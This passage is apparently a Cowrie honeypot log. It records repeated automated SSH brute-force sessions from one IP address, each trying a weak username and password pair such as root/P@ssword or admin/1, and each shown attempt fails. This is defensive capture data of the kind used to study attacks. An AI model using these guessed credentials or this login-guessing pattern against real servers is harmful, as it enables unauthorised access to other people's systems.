{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:11.440985Z","src_ip":"192.109.200.78","session":"48030fbff597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:11.690066Z","src_ip":"192.109.200.78","session":"48030fbff597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:12.884185Z","src_ip":"192.109.200.78","session":"48030fbff597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60934,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e16ab302731","protocol":"ssh","message":"New connection: 192.109.200.78:60934 (10.17.0.5:22) [session: 7e16ab302731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:14.691135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:14.696440Z","src_ip":"192.109.200.78","session":"7e16ab302731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:14.783395Z","src_ip":"192.109.200.78","session":"7e16ab302731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:15.027581Z","src_ip":"192.109.200.78","session":"7e16ab302731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:16.111719Z","src_ip":"192.109.200.78","session":"7e16ab302731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60942,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c2b6f10b084","protocol":"ssh","message":"New connection: 192.109.200.78:60942 (10.17.0.5:22) [session: 8c2b6f10b084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:18.388878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:18.395940Z","src_ip":"192.109.200.78","session":"8c2b6f10b084","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:18.478755Z","src_ip":"192.109.200.78","session":"8c2b6f10b084","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:18.730717Z","src_ip":"192.109.200.78","session":"8c2b6f10b084","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:19.817811Z","src_ip":"192.109.200.78","session":"8c2b6f10b084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40620,"dst_ip":"10.17.0.5","dst_port":22,"session":"c28c8a932f23","protocol":"ssh","message":"New connection: 192.109.200.78:40620 (10.17.0.5:22) [session: c28c8a932f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:21.848586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:21.852381Z","src_ip":"192.109.200.78","session":"c28c8a932f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:21.934102Z","src_ip":"192.109.200.78","session":"c28c8a932f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaaa1111","message":"login attempt [root/Aaaa1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:22.178140Z","src_ip":"192.109.200.78","session":"c28c8a932f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:23.325018Z","src_ip":"192.109.200.78","session":"c28c8a932f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40636,"dst_ip":"10.17.0.5","dst_port":22,"session":"19889592e3b7","protocol":"ssh","message":"New connection: 192.109.200.78:40636 (10.17.0.5:22) [session: 19889592e3b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:25.220981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:25.228136Z","src_ip":"192.109.200.78","session":"19889592e3b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:25.309749Z","src_ip":"192.109.200.78","session":"19889592e3b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"1","message":"login attempt [test3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:25.556675Z","src_ip":"192.109.200.78","session":"19889592e3b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:26.641159Z","src_ip":"192.109.200.78","session":"19889592e3b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40650,"dst_ip":"10.17.0.5","dst_port":22,"session":"55355721f9f7","protocol":"ssh","message":"New connection: 192.109.200.78:40650 (10.17.0.5:22) [session: 55355721f9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:28.861348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:28.947743Z","src_ip":"192.109.200.78","session":"55355721f9f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:28.951439Z","src_ip":"192.109.200.78","session":"55355721f9f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:29.276728Z","src_ip":"192.109.200.78","session":"55355721f9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:30.362211Z","src_ip":"192.109.200.78","session":"55355721f9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.214138984680176,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:31.964308Z","src_ip":"172.81.62.90","session":"7a1ee306f120","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47578,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa0ce68d4c84","protocol":"ssh","message":"New connection: 192.109.200.78:47578 (10.17.0.5:22) [session: fa0ce68d4c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:32.438302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:32.442753Z","src_ip":"192.109.200.78","session":"fa0ce68d4c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:32.523680Z","src_ip":"192.109.200.78","session":"fa0ce68d4c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:32.767597Z","src_ip":"192.109.200.78","session":"fa0ce68d4c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:33.852555Z","src_ip":"192.109.200.78","session":"fa0ce68d4c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47592,"dst_ip":"10.17.0.5","dst_port":22,"session":"59991c39488e","protocol":"ssh","message":"New connection: 192.109.200.78:47592 (10.17.0.5:22) [session: 59991c39488e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:35.787305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:35.791259Z","src_ip":"192.109.200.78","session":"59991c39488e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:35.872550Z","src_ip":"192.109.200.78","session":"59991c39488e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:36.117186Z","src_ip":"192.109.200.78","session":"59991c39488e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:37.202101Z","src_ip":"192.109.200.78","session":"59991c39488e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47604,"dst_ip":"10.17.0.5","dst_port":22,"session":"455d3c0a2cf6","protocol":"ssh","message":"New connection: 192.109.200.78:47604 (10.17.0.5:22) [session: 455d3c0a2cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:39.210328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:39.311813Z","src_ip":"192.109.200.78","session":"455d3c0a2cf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac